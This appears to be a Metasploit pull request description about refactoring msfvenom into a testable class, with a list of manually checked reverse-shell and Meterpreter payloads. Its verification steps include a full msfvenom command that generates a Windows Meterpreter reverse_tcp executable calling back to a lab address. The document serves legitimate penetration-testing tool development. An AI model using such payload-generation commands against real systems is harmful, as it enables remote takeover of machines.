Refactor msfvenom

This pull turns msfvenom into a testable class, `MsfVenom`.  Current test coverage is about 50%, which is infinitely more testing than we were doing before, but obviously not perfect. For instance, the automated test suite does not (and indeed can't) test that the generated executables are functional. I manually verified that at least the following work:
* linux/x86/shell/reverse_tcp
* linux/x86/shell_reverse_tcp
* linux/x64/shell/reverse_tcp
* linux/x64/shell_reverse_tcp
* windows/meterpreter/reverse_tcp
* windows/meterpreter/reverse_http

Notably, [windows x64 payloads are broken](https://dev.metasploit.com/redmine/issues/8149) before this change.

### Verification Steps
- [ ] Generate a windows stager executable - `./msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.99.1 lport=9999 -f exe > met-9999.exe`
- [ ] Set up  a multi/handler with the same options
- [ ] Run the executable - verify it creates a session
- [ ] Repeat for any other payload types for which you have a system that can run them